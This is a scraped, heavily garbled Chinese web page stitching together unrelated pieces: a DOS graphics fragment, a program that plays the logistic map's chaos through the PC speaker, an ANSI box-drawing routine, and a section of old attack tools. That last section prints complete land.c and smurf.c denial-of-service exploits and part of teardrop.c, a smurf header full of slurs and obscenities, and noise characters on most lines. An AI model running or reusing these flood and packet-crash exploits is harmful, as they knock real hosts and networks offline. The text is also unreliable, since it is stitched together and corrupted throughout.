% H( x# a2 {+ {5 l" w}
sing=0;
! O& B- {: |$ L$ c6 l5 Using1=0;
2 _" f# {! g1 u& |! C9 Z2 o5 vmelipai();
n=13;
# I% k" p  |5 c9 Sz1=54400;
l=0;
3 Z4 H$ u6 ^( j. M# O$ l/ \" @g=z;
( Y5 M! F% m. X$ B# _% u6 rwhile(l&lt;n)
( ^6 Y# Q& C9 M" Z& @{ z=0;
( f! ]# L' F) X# Ez1=z1+20;
" {' H6 R: s# h, M& P; A+ bshowbmp(l);
l++;
}
z1=0;
z=g;
# ]) k4 q; Q) C: N}
keyy=0;
}

% O1 A3 G5 e4 }7 @getch();
+ i# N0 ^1 V" y8 e9 x3 aOUTVGA;
4 L6 B, k$ k! P( p, |}
1 n$ x: h* N; `7 `$ m</P></DIV>

韩冰

<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>　　本世纪70年代初，美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型： χ[n＋1]=k＊χ[n]＊(1－χ[n])
2 j/ ]' F! ]% r! M3 {</P><>　　其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值，然后不停地迭代，人们发现随着k值的不同，得到的序列χn 有许多有趣的现象。当k值介于0与1之间时，χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k，当k值大于3时，经过一定次数的迭代后χ[n]在2个值之间交替变化，k值增加到3.449附近时，交替变化值又变为4个。继续增加k值，χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍，终于一片混沌。但当k值在3.835附近时，经过一定次数的迭代后，χ[n]非常简单地在3个值之间交替变化，接着又迅速依3→6→12的次序迅速增长。如此反复，在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示：
# f3 z$ i3 l& l" @
5 U6 w" \. n3 _7 t9 d　　为了体现这种复杂之中的无穷奥妙，下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率，设定不同的k值，我们就可以聆听到混沌的声音。
# x2 r8 H. s  ^& f* y- P0 S　　<FONT color=#009900>＃include <DOS.H>
; [9 U7 H- p# k- Q5 D: e　　＃include <STDIO.H>
5 D7 B9 }( r5 r* T! n　　main(){
　　int fMin=20,fMax=16000; /＊fMin代表最低频率，fMax代表最高频率＊/
　　int fDis,i,j; /＊fDis代表最高频率和最低频率之间的差值＊/
6 S: D) A6 `$ Q; F　　/＊i,j用于循环记数＊/
* |8 Y5 o$ S, w0 ?; e5 h* b　　float x=0.1,k; /＊x代表x[n]的大小，设定其初始值为0.1，即x[0]=0.1＊/
　　fDis=fMax－fMin;
. N1 o0 q% \8 x. y; J% U5 i. Q　　for(j=1;;j＋＋){
　　printf("lease input The value of k(1－4.0)\n"); /＊输入k值＊/
　　printf("If you want to quit,Please input:0\n"); /＊如果k=0退出＊/
4 @) S5 n( k$ q* g　　scanf("％f",＆k);
　　if (k==0) break;
　　for(i=1;i&lt;100;i＋＋) /＊去除开始的100个点＊/
& ?+ i( V  [0 _+ f" \8 p6 }　　x=k＊x＊(1－x);
, b+ t* [7 h& f  q: t: H4 E0 [+ `　　for (i=1;i&lt;100;i＋＋){
　　x=k＊x＊(1－x); /＊计算x的值＊/
　　sound(x＊fDis＋20); /＊用x的值控制PC喇叭的发音频率＊/
# p% x- d/ _  L' J　　delay(1000); }
　　nosound(); }}
　　</FONT>执行上面的小程序时，k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时，喇叭里传出的只有一个音调，重复又烦人。当k值稍稍大于3时，便开始有了韵律：so－mi－so－mi…。k值增加到3.449时，变成了so－fa－la－mi－so－fa－la－mi…，再增加k值，韵律更加复杂，终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时，音调又变成了mi－so－ti－mi－so－ti…，再增加k值又迅速地变得更加复杂。
不停地改变k值，仔细聆听，会听到混沌中的无限奥妙。</P></DIV>

韩冰

<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>
& }, R1 Z, C/ T- j8 @<FONT color=#009900>/*
5 l9 J: ^" o" k1 c6 F*
* Short driver module
*
4 v3 @: A8 l- W/ \2 F  n*/</FONT></P><><FONT color=#009900>main()
# l4 f7 _6 i' U- R{
clrscr();
  H1 N) ]7 B6 q! kbox(1,1,23,79);
2 Q" K8 o3 B& cbox(2,2,21,77);
box(3,3,19,75);
box(4,4,17,73);
box(5,5,15,71);
box(6,6,13,69);
box(7,7,11,67);
9 l% |6 E/ m( \1 ]  `$ Abox(8,8,9,65);
, S" \- ]/ U% T6 R5 n) Rbox(9,9,7,63);
' U. y  e2 k1 h6 d; u& |box(10,10,5,61);
box(11,11,3,59);
. E6 ?! J4 v) o6 _3 Z' Hbox(12,12,1,57);
2 Y7 f8 d* f1 z" _; [9 S* pposcur(24,1);
}</FONT></P><><FONT color=#009900>/************************************************************
0 `9 m- e4 L% K# u, p; c* BOX *
*----------------------------------------------------------*
* Written by: Jeff Ebert 7/01/87 *
* Modified by: xxxxxxxxxx *
( ^# E; b$ R1 U; j* *
* Please modify me! *
* Possible Enhancements include but are not limited t *
- ~3 g& e3 q  D6 K% g, D; |' \" `8 I7 z* 1) Variable box character styles [1 line or 2] *
* 2) Error checking *
* 3) Color options *
1 C2 P! D" E7 d# l: `- E8 I* *
1 |- j3 b+ h: `" w$ i7 q* *
* This function builds a simple double frame for a menu. *
* The function is passed the parameters for the upper *
* left corner row, upper left corner column the height *
% h  d$ T, S4 b7 U* of the frame and the width. *
- {% Z* l9 v" Y1 a# F% L* *
************************************************************/
; ]2 S# i9 [1 D4 Q& N1 P#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 201
, w7 I8 }8 W( x#define URCOR 187
) A' S7 ^  o: Q* }% i& ^, |# U#define LLCOR 200
0 v2 ~; x) Z1 _# E: h3 h#define LRCOR 188
#define VBAR 186
#define HBAR 205
#define ESC 27</FONT></P><><FONT color=#009900>
) U, G" p+ l- c1 p: ?$ x; Ubox(row, col, hgt, wdth)
. v3 N! H7 H# i% X4 b5 oint row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{
9 y2 ?! r0 A% u5 ^% @2 Gint x, y;</FONT></P><><FONT color=#009900>poscur(row,col);
putchar(ULCOR);
for(x = col + 1; x &lt;=(col + wdth -1); x++)
putchar(HBAR);
* v# F; Y5 P7 t( Z% A" `5 qputchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){
poscur(x,col);
putchar(VBAR);
poscur(x,col+wdth);
putchar(VBAR);
}
poscur(x,col);
$ I( V7 W8 X$ k4 M" w8 hputchar(LLCOR);
: h: ?! n: ]/ Rfor(x= col + 1; x &lt;=(col + wdth -1); x++)
putchar(HBAR);
putchar(LRCOR);
}</FONT></P><><FONT color=#009900>/********************************************************
7 B: z% J9 x/ n+ Y  T' o! k' W* POSCUR *
*------------------------------------------------------*
* v4 i* u( o5 w+ P+ t* This function positions the cursor at the specified *
8 m; v5 T; Y$ g' o* x,y coordinate. It uses the ANSI standard ESCAPE *
  |* t  s/ s0 D# P! e' u2 N* sequence to produce the desired effect. Its not the *
/ f6 S5 }: c' a- [0 o6 `* fastest way to position the cursor, but perhaps the *
* most portable. *
* *
1 \0 N3 k/ l/ `********************************************************/
poscur(xcor,ycor)
% q  `, l: c( Y! A1 |9 Hint xcor,ycor;
{
printf("%c[%d;%dH",ESC,xcor,ycor);
}</FONT></P><><FONT color=#009900>
/********************************************************
* CLRSCR *
: b! n6 Q2 f% ]# w*------------------------------------------------------*
5 m4 B: c7 Y+ W" l6 o* This function positions the cursor at the specified *
* x,y coordinate. It uses the ANSI standard ESCAPE *
. R6 J# e8 B- m8 {- t* sequence to produce the desired effect. Its not the *
8 N. e* T5 o7 |- X8 R) N7 ?* fastest way to position the cursor, but perhaps the *
* most portable. *
* *
+ V5 e0 @: s* T0 w2 f********************************************************/
clrscr()
& O% T1 E& V* f8 q8 ?{
1 x8 d1 G& j+ Z- O) j1 Y( qprintf("%c[2J",ESC);
, P. ?1 `7 `- p  k8 g, j}</FONT>
8 [" m1 F; c8 J5 j+ h  |</P>

韩冰

<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract
2 \8 r0 z* B  \% L这里有一些是老的，现在看来并没有用，但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞，以其IP地址和端口向自
3 S! @- A. }% @+ c6 ~8 e0 m; F  d己的同一个端口发起连接（发SYN），Win95即会崩溃。</P><>
0 x: \/ C$ }0 ?8 Y<FONT color=#009900>/* land.c by m3lt, FLC
( X$ J6 A! T( O- P4 v$ d7 Fcrashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H>
#include <NETDB.H>
#include <ARPA inet.h>
' `* V) I, \0 I3 _2 f6 @#include <NETINET in.h>
/ }# b5 J) E6 f( T7 C6 l5 e# ?6 q#include <SYS types.h>
& b6 l/ P8 B# a- c#include <SYS socket.h>
#include <NETINET ip.h>
. ?9 A. Q! Q9 v3 l: J4 f  }4 Q#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头
0 l" Y# g) Z2 l( M) ustruct pseudohdr
& Z9 G* {" j9 U" s1 g" ]/ `7 z+ D* R{
+ l; |* N! B: L9 P  Dstruct in_addr saddr;
struct in_addr daddr;
; I+ A7 t2 l4 P) u6 Z- t9 i& Xu_char zero;
u_char protocol;
u_short length;
struct tcphdr tcpheader;
1 a2 _+ @2 c- }3 g0 _};</FONT></P><><FONT color=#009900>//计算IP校验和
2 b! e  l+ D. f) _u_short checksum(u_short * data,u_short length)
, c1 \, o5 u: K{
register long value;
u_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++)
value+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1)
2 d9 p: m! x- L2 zvalue+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);
; e# p* j/ y1 Q6 I9 W' y3 e; B8 D# P}</FONT></P><><FONT color=#009900>
% j- V$ m# Z) iint main(int argc,char * * argv)
& ^$ H% q7 X8 Q% a" R{
# ~9 L! `% d! D" q0 Jstruct sockaddr_in sin;
% v% D$ C' h6 H: X( J9 H4 {- r$ Tstruct hostent * hoste;
int sock;
" c, o+ r5 X0 A2 Cchar buffer[40];
struct iphdr * ipheader=(struct iphdr *) buffer;
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
struct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3)
{
0 c# g8 M- S" W  w+ A' efprintf(stderr,"usage: %s IP port\n",argv[0]);
6 S. U  z! j$ Y$ kreturn(-1);
}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));
sin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL)
bcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);
else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
% U$ E0 K" I% f{
& h# ~  d5 \- d4 Lfprintf(stderr,"unknown host %s\n",argv[1]);
return(-1);
/ u( |  K' A8 O0 h4 I- m}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0)
{
fprintf(stderr,"unknown port %s\n",argv[2]);
  y3 x+ \5 y, B* o# y6 Zreturn(-1);
4 s2 d( n( v! Z9 m+ a}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
1 r( ]( G" F. i! Y3 z, h: o7 e! u{
fprintf(stderr,"couldn't allocate raw socket\n");
! ?# n! y( b9 I0 ^9 I3 @return(-1);
  Q9 c7 C# F$ t/ `) Q) M0 `4 l}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheader-&gt;version=4;
+ h* {. Z! R' c/ r) O7 y$ v7 ?: H9 kipheader-&gt;ihl=sizeof(struct iphdr)/4;
ipheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
. u( V& s) P$ J  }3 C/ Eipheader-&gt;id=htons(0xF1C);
ipheader-&gt;ttl=255;
4 k5 n) n# V- `" }8 K! j, e' sipheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同
ipheader-&gt;saddr=sin.sin_addr.s_addr;
ipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同
tcpheader-&gt;th_sport=sin.sin_port;
9 V8 l% m$ g; V. j$ a9 b5 ltcpheader-&gt;th_dport=sin.sin_port;
tcpheader-&gt;th_seq=htonl(0xF1C);
tcpheader-&gt;th_flags=TH_SYN;
0 q% u* a& o  n0 F0 ]tcpheader-&gt;th_off=sizeof(struct tcphdr)/4;
tcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
9 q, _' ]  h; c& g8 S# w8 v, w# Lpseudoheader.protocol=6;
pseudoheader.length=htons(sizeof(struct tcphdr));
bcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));
1 ?" L5 K) D! q' o$ ~+ Z6 Btcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),
$ d% v# l* Y  K" T% q$ f/ I5 Q0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1)
8 O5 D; g; G$ _6 ~' g3 [{
fprintf(stderr,"couldn't send packet\n");
return(-1);
}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);
6 I0 V) P5 I. S  \& b- W8 R0 t, Y8 Mreturn(0);
" H2 L3 C) x, j  {6 `}</FONT></P><>
$ n; E# l2 O0 M$ J) F2 Smurf
, q0 Z4 y3 l0 g" y4 zsmurf攻击是很简单的，它有一些IP（广播地址）地址列表，发出了一些伪造的数
" `3 j0 R7 c( ^% V# B$ N3 I据包（ICMP echo request）从而导致一场广播风暴，可以使受害主机（使它成为伪造包
) ]" n( f& l8 T, z# S' e' [的源地址）崩溃。</P><>受害者有两种：中间的设备（bounce sites 交换机或路由器）和被伪装的IP（那些
6 j, a& G) X3 l* i1 jicmp echo的包都被发给它）。这种攻击依赖于路由器把一个广播地址转化为一广播桢
8 W' Q; v8 K' f, E0 q( I" P（如Ethernet, FF:FF:FF:FF:FF:FF），RFC中允许这种转换，但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播（IP）到第二层的广播（Ethernet）。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在，但在路由器的上述配置会使这变
成不可能（没有WINS服务器时）。</P><P>/*
*
* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $
6 R$ w: Q! \; J*
" g2 ]  Z3 t4 c3 F( O/ T* spoofs icmp packets from a host to various broadcast addresses resulting
* in multiple replies to that host from a single packet.
*
* mad head t
* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,
" F! A. p5 h% u& w( x, l. `* MissSatan for swallowing, napster for pimping my sister, the guy that
2 z& J6 N/ F: Z/ x6 H$ `. R* invented vaseline, fyber for trying, knowy, old school #havok, kain
) d) Q+ o7 Q4 z: m! F* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might
* have missed (you know who you are).
  w) K, j& I6 L; L6 m*
* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
# {  I. @5 B9 e6 ^6 o  u9 N+ l* thing he is (he's -almost- as stubborn as me, still i managed to pick up
* half the cheque).
*
8 G! [) k, h7 w2 P* and a special hi to Todd, face it dude, you're fucking awesome.
*
* mad anal t
  }9 P+ e2 W% j; i) r* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps
+ F$ r8 w8 [, q+ i+ T% \9 T& x1 L* because they plain suck, Rolex for being a twit, everyone that
1 w1 g" s6 q7 m2 w* trades warez, Caren for being a lesbian hoe, AcidKill for being her
* partner, #cha0s, sedriss for having an ego in inverse proportion to
8 {  A' ]2 @) P* O- v* his penis and anyone that can't pee standing up -- you don't know what
* your missing out on.
! G3 C5 \3 A8 a*
/ w  E$ ~7 b4 `/ `* and anyone thats ripped my code (diff smurf.c axcast.c is rather
6 i4 R. ]( J+ z' ^5 a# c2 _" K* interesting).
*
! R9 ?) @5 j+ k- `* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill
* Robbins for trying to steal my girlfriend. Not only did you show me
* no respect but you're a manipulating prick who tried to take away the
8 S: m( c, t$ o# Y( J. s- L: d* most important thing in the world to me with no guilt whatsoever, and
7 [) p' x: t/ O1 y5 p* for that I wish you nothing but pain. Die.
; p" S0 B% k0 D' a# b0 [*
' V* C3 S& w9 a0 s5 ]( T* disclaimer:
* I cannot and will not be held responsible nor legally bound for the
* malicious activities of individuals who come into possession of this
& M- z! o, v5 D1 y& P& r- T* program and I refuse to provide help or support of any kind and do NOT
$ O+ R( y0 l  N- L* condone use of this program to deny service to anyone or any machine.
* This is for educational use only. Please Don't abuse this.
2 y7 y8 k- ~' I: m" q, y! O) d*
* Well, i really, really, hate this code, but yet here I am creating another
* disgusting version of it. Odd, indeed. So why did I write it? Well, I,
* like most programmers don't like seeing bugs in their code. I saw a few
* things that should have been done better or needed fixing so I fixed
3 ^* O: B# v2 X+ `$ h3 c* them. -shrug-, programming for me as always seemed to take the pain away
) }2 @* Q7 o; o  G+ a1 s* ...
. y% g. c8 {9 `0 x- f5 s& O5 B*
*
*/</P><P>#include <SIGNAL.H>
; k- |  I3 j' J/ L#include <STDIO.H>
3 L6 [6 M# d. a  T; X/ u) k6 h: x: a#include <STDLIB.H>
#include <SYS socket.h>
. z& \7 g$ Y6 u& D#include <SYS types.h>
9 L+ C' I9 Q) L0 x; C* Y) `) ~6 t#include <NETINET in.h>
#include <NETINET ip.h>
# K5 `* {% b7 b5 e/ N# i# C#include <NETINET ip_icmp.h>
#include <NETDB.H>
" ?# J1 a! S4 _( _1 M9 E#include <CTYPE.H>
$ G0 M/ A5 _  O7 L( J! j#include <ARPA inet.h>
, x' @, y; Q0 D. u8 S#include <UNISTD.H>
  |& e9 p* p5 e#include <STRING.H></P><P>void banner(void);
void usage(char *);
; p4 l" W2 q' _void smurf(int, struct sockaddr_in, u_long, int);
2 `5 A  K# R" O9 Ivoid ctrlc(int);
unsigned short in_chksum(u_short *, int);</P><P>/* stamp */
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[])
{
3 e5 V7 v* `3 b' D2 Zstruct sockaddr_in sin;
' h0 `. N% O/ Q$ Y2 F. Nstruct hostent *he;
' h; S* E+ K9 S6 jFILE *bcastfile;
int i, sock, bcast, delay, num, pktsize, cycle = 0, x;
9 K) ]: Q; y9 d2 N, ychar buf[32], **bcastaddr = malloc(8192);</P><P>banner();
signal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {
perror("resolving source host");
. ~" d" N/ D; u% bexit(-1);
% k0 C2 F. {. V2 ^: D}
memcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);
7 a/ f% h& `4 T9 G$ Q' P/ ]! Ksin.sin_family = AF_INET;
sin.sin_port = htons(0);</P><P>num = atoi(argv[3]);
% ^9 a2 x9 L- t0 r, V# w$ r) y. qdelay = atoi(argv[4]);
, }0 G. r* H1 K  Npktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {
perror("opening bcast file");
2 _3 Z9 H' W& wexit(-1);
}
$ z; u/ {0 a2 r/ Sx = 0;
2 U. P! v( d; `  ?while (!feof(bcastfile)) {
* _/ M8 q1 o" a4 A) Z, |9 Qfgets(buf, 32, bcastfile);
if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;
for (i = 0; i &lt; strlen(buf); i++)
* K6 L' P) z, Z9 B3 C: Kif (buf == '\n') buf = '\0';
' f. Z; @# A8 M  @& Cbcastaddr[x] = malloc(32);
strcpy(bcastaddr[x], buf);
x++;
: [9 A% f* k1 S* T, z: a5 F}
0 V$ L! w' \# E( vbcastaddr[x] = 0x0;
fclose(bcastfile);</P><P>if (x == 0) {
3 h8 w8 V5 f" o& j! |  j. C* dfprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
exit(-1);
}
* _4 M- v. K7 i6 M7 cif (pktsize &gt; 1024) {
fprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");
9 x8 K+ g; s/ P5 Lexit(-1);
}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {
perror("getting socket");
# P9 n. b) U* ~  g- ~- Z8 xexit(-1);
; a8 ~! h1 a  p4 B) X' q% T  V}
& T% R) @2 Q# Vsetsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {
if (!(i % 25)) { printf("."); fflush(stdout); }
6 T" }' w; U! v! Tsmurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
cycle++;
if (bcastaddr[cycle] == 0x0) cycle = 0;
# v, K6 F; o% U4 gusleep(delay);
}
; g5 k) v- O5 q  m( T  Mputs("\n\n");
- ?# o. H0 ^3 o% ?5 Xreturn 0;
  m3 b7 h1 X; I" d' e}</P><P>void banner (void)
4 O5 y( L, q5 ^5 q7 y" }{
puts("\nsmurf.c v4.0 by TFreak\n");
; l" r8 R# X2 e) j* M4 {}</P><P>void usage (char *prog)
. \: `" r% W- E! R6 Y* Z9 h+ Q{
fprintf(stderr, "usage: %s <TARGET><BCAST file>"
"<NUM packets> <PACKET delay><PACKET size>\n\n"
# M  g0 O- E+ G  W6 }+ J"target = address to hit\n"
"bcast file = file to read broadcast addresses from\n"
  L5 w# x7 U0 N8 e2 z! e" P"num packets = number of packets to send (0 = flood)\n"
"packet delay = wait between each packet (in ms)\n"
3 B" o" O, F8 A$ F% Q"packet size = size of packet (&lt; 1024)\n\n", prog);
exit(-1);
}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
3 H5 `  B% E/ p: d, n8 h{
struct iphdr *ip;
struct icmphdr *icmp;
. K8 {3 `) M2 pchar *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
ip = (struct iphdr *)packet;
icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
ip-&gt;ihl = 5;
ip-&gt;version = 4;
ip-&gt;ttl = 255;
ip-&gt;tos = 0;
ip-&gt;frag_off = 0;
ip-&gt;protocol = IPPROTO_ICMP;
6 O# o# m$ ]& Hip-&gt;saddr = sin.sin_addr.s_addr;
ip-&gt;daddr = dest;
5 D! l$ s" ~1 i1 F2 wip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));
( O+ G7 K: q+ M  X5 vicmp-&gt;type = 8;
& y: a$ U" X7 E* jicmp-&gt;code = 0;
8 i7 M4 t! D% Y; R8 f' Sicmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
) F9 \9 b5 M5 B4 L$ W3 S0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! */
}</P><P>void ctrlc (int ignored)
5 z" z/ {0 X; \/ E( t9 n# l+ [{
puts("\nDone!\n");
$ I1 L  k* Z7 Gexit(1);
}</P><P>unsigned short in_chksum (u_short *addr, int len)
' m& h( h! d. Y" n3 c3 X6 d{
register int nleft = len;
register int sum = 0;
. ~, I- _: N/ u3 D3 gu_short answer = 0;</P><P>while (nleft &gt; 1) {
0 B( y) W" q/ l4 O( _$ zsum += *addr++;
nleft -= 2;
}</P><P>if (nleft == 1) {
: V! ~% R. U# O/ E# j* H*(u_char *)(&amp;answer) = *(u_char *)addr;
, O/ @( }2 K$ N8 i6 b+ Y( ?sum += answer;
4 c( v* T" ?6 p0 L}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);
sum += (sum &gt;&gt; 16);
answer = ~sum;
return(answer);
- R6 ^. \" {. c) m: [}</P><P>
3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中：</P><P>在循环中重组ip包：
3 s1 {: ?2 Z; w6 rfp = qp-&gt;fragments;
8 V( _7 `8 Y- s& Gwhile(fp != NULL)
5 s5 P4 x, @' E' k7 g; S! w" z{
! a  V( G6 c5 P+ S- `  {if(count+fp-&gt;len &gt; skb-&gt;len)
: U2 {+ Q  H' `; C, _! N8 Q+ @6 d{
3 l* i6 t& D0 m1 S9 oerror_to_big;
}
& Y0 L& ^9 b5 [! [memcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);
) f' i* b9 Y: X5 k+ Ecount += fp-&gt;len;
fp = fp-&gt;next;
}
8 G4 ^9 q, v$ Y2 ~; \" r这里只检查了长度过大的情况，而没有考虑长度过小的情况，
如 fp-&gt;len&lt;0 时，也会使内核拷贝过多的东西。</P><P>计算分片的结束位置：
end = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的）
* I* f. D6 p! b' i; U* G是这样处理的：
% A  @8 ?/ H7 }% v3 x1 ]if (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)
{
% I$ T! f2 d) E1 zi = prev-&gt;end - offset;
offset += i; /* ptr into datagram */
ptr += i; /* ptr into fragment data */
5 u" J  W2 b& h5 ?& m}</P><P>/* Fill in the structure. */
fp-&gt;offset = offset;
fp-&gt;end = end;
. e% L( `& r9 Ifp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞：
第一个碎片：mf=1 offset=0 payload=20
敌二个碎片：mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20
- v; {4 Y+ M; R/ Poffset=0
这样第二个碎片的 end=9+10=19
- e7 D) J# C( X# T. s+ u2 ioffset=offset+（20-offset）=20
( A6 x2 c/ ^$ f( L0 z& L8 gfp-〉len=19-20=-1； </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>
/*
; {8 ?0 T6 [) S  A8 v& i1 l6 X( P* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.97
5 [) R- Z& D3 U# h*
6 p' h  a7 T  ~6 ]  S8 L) F* Linux/NT/95 Overlap frag bug exploit
*
* Exploits the overlapping IP fragment bug present in all Linux kernels and
* NT 4.0 / Windows 95 (others?)
) `, W: e) v! ^- H2 e) x& W" _  v) v+ h*
# F; b. d4 Q" C; H* Based off of: flip.c by klepto
* Compiles on: Linux, *BSD*
*
9 o+ R* W5 O: A3 D% @* gcc -O2 teardrop.c -o teardrop
% S3 D- F8 ?( |5 a  Y* OR
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
8 E# C+ H' g* r5 Z0 E*/</P><P>#include <STDIO.H>
#include <STDLIB.H>
#include <UNISTD.H>
#include <STRING.H>
: f- p$ f/ Y- W' J% q#include <NETDB.H>
#include <NETINET in.h>
#include <NETINET udp.h>
4 M  T7 y8 d, |' z! k#include <ARPA inet.h>
, ?3 y4 S: G+ l2 x5 y#include <SYS types.h>
#include <SYS time.h>
#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING
6 m/ b$ f/ t- R" k& m/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 */
* s: c4 |+ B2 k8 N; r* ^#define FIX(n) (n)
#else /* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
' ^- {0 B6 m9 |#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
8 w9 n- M" S3 u$ d3 p#define UDPH 0x8 /* UDP header size */
" v  @1 m# w( [. j/ r#define PADDING 0x1c /* datagram frame padding for first packet */
( L0 |% B* G* g( `#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
* withstand maybe 5 or 10 sometimes... Experiment.
*/</P><P>void usage(u_char *);
u_long name_resolve(u_char *);
2 {8 ^- W7 D" L2 k% \3 u4 \u_short in_cksum(u_short *, int);
/ }: g2 J' B7 C3 F" N& ?void send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv)
